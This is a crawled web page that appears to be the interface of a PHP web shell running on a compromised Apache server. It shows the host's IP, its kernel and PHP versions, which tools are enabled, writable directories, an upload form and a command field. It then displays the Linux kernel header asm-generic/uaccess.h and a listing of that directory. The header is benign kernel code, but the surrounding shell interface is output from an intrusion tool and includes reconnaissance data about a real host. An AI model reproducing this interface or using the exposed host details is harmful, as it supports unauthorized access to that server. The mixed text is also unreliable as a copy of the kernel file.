p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/uaccess.h
#ifndef __ASM_GENERIC_UACCESS_H
#define __ASM_GENERIC_UACCESS_H

/*
 * User space memory access functions, these should work
 * on a ny machine that has kernel and user data in the same
 * address space, e.g. all NOMMU machines.
 */
#include <linux/sched.h>
#include <linux/string.h>

#include <asm/segment.h>

#define MAKE_MM_SEG(s)	((mm_segment_t) { (s) })

#ifndef KERNEL_DS
#define KERNEL_DS	MAKE_MM_SEG(~0UL)
#endif

#ifndef USER_DS
#define USER_DS		MAKE_MM_SEG(TASK_SIZE - 1)
#endif

#ifndef get_fs
#define get_ds()	(KERNEL_DS)
#define get_fs()	(current_thread_info()->addr_limit)

static inline void set_fs(mm_segment_t fs)
{
	current_thread_info()->addr_limit = fs;
}
#endif

#ifndef segment_eq
#define segment_eq(a, b) ((a).seg == (b).seg)
#endif

#define VERIFY_READ	0
#define VERIFY_WRITE	1

#define access_ok(type, addr, size) __access_ok((unsigned long)(addr),(size))

/*
 * The architecture should really override this if possible, at least
 * doing a check on the get_fs()
 */
#ifndef __access_ok
static inline int __access_ok(unsigned long addr, unsigned long size)
{
	return 1;
}
#endif

/*
 * The exception table consists of pairs of addresses: the first is the
 * address of an instruction that is allowed to fault, and the second is
 * the address at which the program should continue.  No registers are
 * modified, so it is entirely up to the continuation code to figure out
 * what to do.
 *
 * All the routines below use bits of fixup code that are out of line
 * with the main instruction path.  This means when everything is well,
 * we don't even have to jump over them.  Further, they do not intrude
 * on our cache or tlb entries.
 */

struct exception_table_entry
{
	unsigned long insn, fixup;
};

/* Returns 0 if exception not found and fixup otherwise.  */
extern unsigned long search_exception_table(unsigned long);

/*
 * architectures with an MMU should override these two
 */
#ifndef __copy_from_user
static inline __must_check long __copy_from_user(void *to,
		const void __user * from, unsigned long n)
{
	check_object_size(to, n, false);
	if (__builtin_constant_p(n)) {
		switch(n) {
		case 1:
			*(u8 *)to = *(u8 __force *)from;
			return 0;
		case 2:
			*(u16 *)to = *(u16 __force *)from;
			return 0;
		case 4:
			*(u32 *)to = *(u32 __force *)from;
			return 0;
#ifdef CONFIG_64BIT
		case 8:
			*(u64 *)to = *(u64 __force *)from;
			return 0;
#endif
		default:
			break;
		}
	}

	memcpy(to, (const void __force *)from, n);
	return 0;
}
#endif

#ifndef __copy_to_user
static inline __must_check long __copy_to_user(void __user *to,
		const void *from, unsigned long n)
{
	check_object_size(from, n, true);
	if (__builtin_constant_p(n)) {
		switch(n) {
		case 1:
			*(u8 __force *)to = *(u8 *)from;
			return 0;
		case 2:
			*(u16 __force *)to = *(u16 *)from;
			return 0;
		case 4:
			*(u32 __force *)to = *(u32 *)from;
			return 0;
#ifdef CONFIG_64BIT
		case 8:
			*(u64 __force *)to = *(u64 *)from;
			return 0;
#endif
		default:
			break;
		}
	}

	memcpy((void __force *)to, from, n);
	return 0;
}
#endif

/*
 * These are the main single-value transfer routines.  They automatically
 * use the right size if we just have the right pointer type.
 * This version just falls back to copy_{from,to}_user, which should
 * provide a fast-path for small values.
 */
#define __put_user(x, ptr) \
({								\
	__typeof__(*(ptr)) __x = (x);				\
	int __pu_err = -EFAULT;					\
        __chk_user_ptr(ptr);                                    \
	switch (sizeof (*(ptr))) {				\
	case 1:							\
	case 2:							\
	case 4:							\
	case 8:							\
		__pu_err = __put_user_fn(sizeof (*(ptr)),	\
					 ptr, &__x);		\
		break;						\
	default:						\
		__put_user_bad();				\
		break;						\
	 }							\
	__pu_err;						\
})

#define put_user(x, ptr)					\
({								\
	might_fault();						\
	access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)) ?		\
		__put_user(x, ptr) :				\
		-EFAULT;					\
})

#ifndef __put_user_fn

static inline int __put_user_fn(size_t size, void __user *ptr, void *x)
{
	size = __copy_to_user(ptr, x, size);
	return size ? -EFAULT : size;
}

#define __put_user_fn(sz, u, k)	__put_user_fn(sz, u, k)

#endif

extern int __put_user_bad(void) __attribute__((noreturn));

#define __get_user(x, ptr)					\
({								\
	int __gu_err = -EFAULT;					\
	__chk_user_ptr(ptr);					\
	switch (sizeof(*(ptr))) {				\
	case 1: {						\
		unsigned char __x;				\
		__gu_err = __get_user_fn(sizeof (*(ptr)),	\
					 ptr, &__x);		\
		(x) = *(__force __typeof__(*(ptr)) *) &__x;	\
		break;						\
	};							\
	case 2: {						\
		unsigned short __x;				\
		__gu_err = __get_user_fn(sizeof (*(ptr)),	\
					 ptr, &__x);		\
		(x) = *(__force __typeof__(*(ptr)) *) &__x;	\
		break;						\
	};							\
	case 4: {						\
		unsigned int __x;				\
		__gu_err = __get_user_fn(sizeof (*(ptr)),	\
					 ptr, &__x);		\
		(x) = *(__force __typeof__(*(ptr)) *) &__x;	\
		break;						\
	};							\
	case 8: {						\
		unsigned long long __x;				\
		__gu_err = __get_user_fn(sizeof (*(ptr)),	\
					 ptr, &__x);		\
		(x) = *(__force __typeof__(*(ptr)) *) &__x;	\
		break;						\
	};							\
	default:						\
		__get_user_bad();				\
		break;						\
	}							\
	__gu_err;						\
})

#define get_user(x, ptr)					\
({								\
	might_fault();						\
	access_ok(VERIFY_READ, ptr, sizeof(*ptr)) ?		\
		__get_user(x, ptr) :				\
		-EFAULT;					\
})

#ifndef __get_user_fn
static inline int __get_user_fn(size_t size, const void __user *ptr, void *x)
{
	size = __copy_from_user(x, ptr, size);
	return size ? -EFAULT : size;
}

#define __get_user_fn(sz, u, k)	__get_user_fn(sz, u, k)

#endif

extern int __get_user_bad(void) __attribute__((noreturn));

#ifndef __copy_from_user_inatomic
#define __copy_from_user_inatomic __copy_from_user
#endif

#ifndef __copy_to_user_inatomic
#define __copy_to_user_inatomic __copy_to_user
#endif

static inline long copy_from_user(void *to,
		const void __user * from, unsigned long n)
{
	might_fault();
	if (access_ok(VERIFY_READ, from, n))
		return __copy_from_user(to, from, n);
	else
		return n;
}

static inline long copy_to_user(void __user *to,
		const void *from, unsigned long n)
{
	might_fault();
	if (access_ok(VERIFY_WRITE, to, n))
		return __copy_to_user(to, from, n);
	else
		return n;
}

/*
 * Copy a null terminated string from userspace.
 */
#ifndef __strncpy_from_user
static inline long
__strncpy_from_user(char *dst, const char __user *src, long count)
{
	char *tmp;
	strncpy(dst, (const char __force *)src, count);
	for (tmp = dst; *tmp && count > 0; tmp++, count--)
		;
	return (tmp - dst);
}
#endif

static inline long
strncpy_from_user(char *dst, const char __user *src, long count)
{
	if (!access_ok(VERIFY_READ, src, 1))
		return -EFAULT;
	return __strncpy_from_user(dst, src, count);
}

/*
 * Return the size of a string (including the ending 0)
 *
 * Return 0 on exception, a value greater than N if too long
 */
#ifndef __strnlen_user
#define __strnlen_user(s, n) (strnlen((s), (n)) + 1)
#endif

/*
 * Unlike strnlen, strnlen_user includes the nul terminator in
 * its returned count. Callers should check for a returned value
 * greater than N as an indication the string is too long.
 */
static inline long strnlen_user(const char __user *src, long n)
{
	if (!access_ok(VERIFY_READ, src, 1))
		return 0;
	return __strnlen_user(src, n);
}

static inline long strlen_user(const char __user *src)
{
	return strnlen_user(src, 32767);
}

/*
 * Zero Userspace
 */
#ifndef __clear_user
static inline __must_check unsigned long
__clear_user(void __user *to, unsigned long n)
{
	memset((void __force *)to, 0, n);
	return 0;
}
#endif

static inline __must_check unsigned long
clear_user(void __user *to, unsigned long n)
{
	might_fault();
	if (!access_ok(VERIFY_WRITE, to, n))
		return n;

	return __clear_user(to, n);
}

#endif /* __ASM_GENERIC_UACCESS_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
bitops
--
September 29 2025 07:01:10
0 / 0
0755
4level-fixup.h
1.004 KB
November 06 2023 09:15:52
0 / 0
0644
Kbuild.asm
0.043 KB
November 06 2023 09:15:52
0 / 0
0644
atomic-long.h
5.121 KB
November 06 2023 09:15:52
0 / 0
0644
atomic.h
4.346 KB
November 06 2023 09:15:52
0 / 0
0644
atomic64.h
1.797 KB
November 06 2023 09:15:52
0 / 0
0644
audit_change_attr.h
0.409 KB
November 06 2023 09:15:52
0 / 0
0644
audit_dir_write.h
0.45 KB
November 06 2023 09:15:52
0 / 0
0644
audit_read.h
0.197 KB
November 06 2023 09:15:52
0 / 0
0644
audit_signal.h
0.035 KB
November 06 2023 09:15:52
0 / 0
0644
audit_write.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
barrier.h
2.486 KB
November 06 2023 09:15:52
0 / 0
0644
bitops.h
1.055 KB
November 06 2023 09:15:52
0 / 0
0644
bitsperlong.h
0.54 KB
November 06 2023 09:15:52
0 / 0
0644
bug.h
5.729 KB
November 06 2023 09:15:52
0 / 0
0644
bugs.h
0.223 KB
November 06 2023 09:15:52
0 / 0
0644
cache.h
0.337 KB
November 06 2023 09:15:52
0 / 0
0644
cacheflush.h
1.271 KB
November 06 2023 09:15:52
0 / 0
0644
checksum.h
2.236 KB
November 06 2023 09:15:52
0 / 0
0644
clkdev.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg-local.h
1.38 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg.h
2.311 KB
November 06 2023 09:15:52
0 / 0
0644
cputime.h
0.286 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_jiffies.h
2.076 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_nsecs.h
3.055 KB
November 06 2023 09:15:52
0 / 0
0644
current.h
0.212 KB
November 06 2023 09:15:52
0 / 0
0644
delay.h
1.092 KB
November 06 2023 09:15:52
0 / 0
0644
device.h
0.239 KB
November 06 2023 09:15:52
0 / 0
0644
div64.h
1.339 KB
November 06 2023 09:15:52
0 / 0
0644
dma-coherent.h
1.03 KB
November 06 2023 09:15:52
0 / 0
0644
dma.h
0.502 KB
November 06 2023 09:15:52
0 / 0
0644
emergency-restart.h
0.204 KB
November 06 2023 09:15:52
0 / 0
0644
exec.h
0.681 KB
November 06 2023 09:15:52
0 / 0
0644
fb.h
0.227 KB
November 06 2023 09:15:52
0 / 0
0644
ftrace.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
futex.h
1.247 KB
November 06 2023 09:15:52
0 / 0
0644
getorder.h
1.414 KB
November 06 2023 09:15:52
0 / 0
0644
gpio.h
5.821 KB
November 06 2023 09:15:52
0 / 0
0644
hardirq.h
0.481 KB
November 06 2023 09:15:52
0 / 0
0644
hugetlb.h
0.74 KB
November 06 2023 09:15:52
0 / 0
0644
hw_irq.h
0.264 KB
November 06 2023 09:15:52
0 / 0
0644
ide_iops.h
0.734 KB
November 06 2023 09:15:52
0 / 0
0644
int-l64.h
0.851 KB
November 06 2023 09:15:52
0 / 0
0644
int-ll64.h
0.872 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-hi-lo.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-lo-hi.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io.h
19.255 KB
November 06 2023 09:15:52
0 / 0
0644
ioctl.h
0.387 KB
November 06 2023 09:15:52
0 / 0
0644
iomap.h
2.832 KB
November 06 2023 09:15:52
0 / 0
0644
irq.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
irq_regs.h
0.957 KB
November 06 2023 09:15:52
0 / 0
0644
irq_work.h
0.15 KB
November 06 2023 09:15:52
0 / 0
0644
irqflags.h
1.469 KB
November 06 2023 09:15:52
0 / 0
0644
kdebug.h
0.14 KB
November 06 2023 09:15:52
0 / 0
0644
kexec.h
0.33 KB
November 06 2023 09:15:52
0 / 0
0644
kmap_types.h
0.155 KB
November 06 2023 09:15:52
0 / 0
0644
kvm_para.h
0.431 KB
November 06 2023 09:15:52
0 / 0
0644
libata-portmap.h
0.149 KB
November 06 2023 09:15:52
0 / 0
0644
linkage.h
0.22 KB
November 06 2023 09:15:52
0 / 0
0644
local.h
2.19 KB
November 06 2023 09:15:52
0 / 0
0644
local64.h
3.758 KB
November 06 2023 09:15:52
0 / 0
0644
memory_model.h
2.12 KB
November 06 2023 09:15:52
0 / 0
0644
mm-arch-hooks.h
0.379 KB
November 06 2023 09:15:52
0 / 0
0644
mm_hooks.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
mmu.h
0.4 KB
November 06 2023 09:15:52
0 / 0
0644
mmu_context.h
0.915 KB
November 06 2023 09:15:52
0 / 0
0644
module.h
1.054 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-dec.h
2.695 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-null.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-xchg.h
3.722 KB
November 06 2023 09:15:52
0 / 0
0644
mutex.h
0.25 KB
November 06 2023 09:15:52
0 / 0
0644
page.h
2.466 KB
November 06 2023 09:15:52
0 / 0
0644
param.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
parport.h
0.552 KB
November 06 2023 09:15:52
0 / 0
0644
pci-dma-compat.h
0 KB
May 09 2024 13:06:31
0 / 0
0644
pci.h
0.529 KB
November 06 2023 09:15:52
0 / 0
0644
pci_iomap.h
1.496 KB
November 06 2023 09:15:52
0 / 0
0644
percpu.h
3.17 KB
November 06 2023 09:15:52
0 / 0
0644
pgalloc.h
0.296 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopmd.h
1.858 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopud.h
1.779 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable.h
24.551 KB
November 06 2023 09:15:52
0 / 0
0644
ptrace.h
1.577 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock.h
5.279 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_remap.h
1.495 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_types.h
0.413 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock.h
4.218 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock_types.h
2.763 KB
November 06 2023 09:15:52
0 / 0
0644
resource.h
1.036 KB
November 06 2023 09:15:52
0 / 0
0644
rtc.h
5.334 KB
November 06 2023 09:15:52
0 / 0
0644
rwsem.h
2.521 KB
November 06 2023 09:15:52
0 / 0
0644
scatterlist.h
0.771 KB
November 06 2023 09:15:52
0 / 0
0644
sections.h
3.471 KB
November 06 2023 09:15:52
0 / 0
0644
segment.h
0.243 KB
November 06 2023 09:15:52
0 / 0
0644
serial.h
0.299 KB
November 06 2023 09:15:52
0 / 0
0644
siginfo.h
0.89 KB
November 06 2023 09:15:52
0 / 0
0644
signal.h
0.263 KB
November 06 2023 09:15:52
0 / 0
0644
sizes.h
0.076 KB
November 06 2023 09:15:52
0 / 0
0644
spinlock.h
0.283 KB
November 06 2023 09:15:52
0 / 0
0644
statfs.h
0.127 KB
November 06 2023 09:15:52
0 / 0
0644
string.h
0.274 KB
November 06 2023 09:15:52
0 / 0
0644
switch_to.h
0.969 KB
November 06 2023 09:15:52
0 / 0
0644
syscall.h
6.179 KB
November 06 2023 09:15:52
0 / 0
0644
syscalls.h
0.684 KB
November 06 2023 09:15:52
0 / 0
0644
termios-base.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
termios.h
2.77 KB
November 06 2023 09:15:52
0 / 0
0644
timex.h
0.458 KB
November 06 2023 09:15:52
0 / 0
0644
tlb.h
6.997 KB
November 06 2023 09:15:52
0 / 0
0644
tlbflush.h
0.436 KB
November 06 2023 09:15:52
0 / 0
0644
topology.h
2.112 KB
November 06 2023 09:15:52
0 / 0
0644
trace_clock.h
0.344 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess-unaligned.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess.h
7.635 KB
November 06 2023 09:15:52
0 / 0
0644
unaligned.h
0.886 KB
November 06 2023 09:15:52
0 / 0
0644
unistd.h
0.272 KB
November 06 2023 09:15:52
0 / 0
0644
user.h
0.236 KB
November 06 2023 09:15:52
0 / 0
0644
vga.h
0.535 KB
November 06 2023 09:15:52
0 / 0
0644
vmlinux.lds.h
26.37 KB
November 06 2023 09:15:52
0 / 0
0644
vtime.h
0 KB
May 09 2024 13:06:31
0 / 0
0644
word-at-a-time.h
1.161 KB
November 06 2023 09:15:52
0 / 0
0644
xor.h
13.634 KB
November 06 2023 09:15:52
0 / 0
0644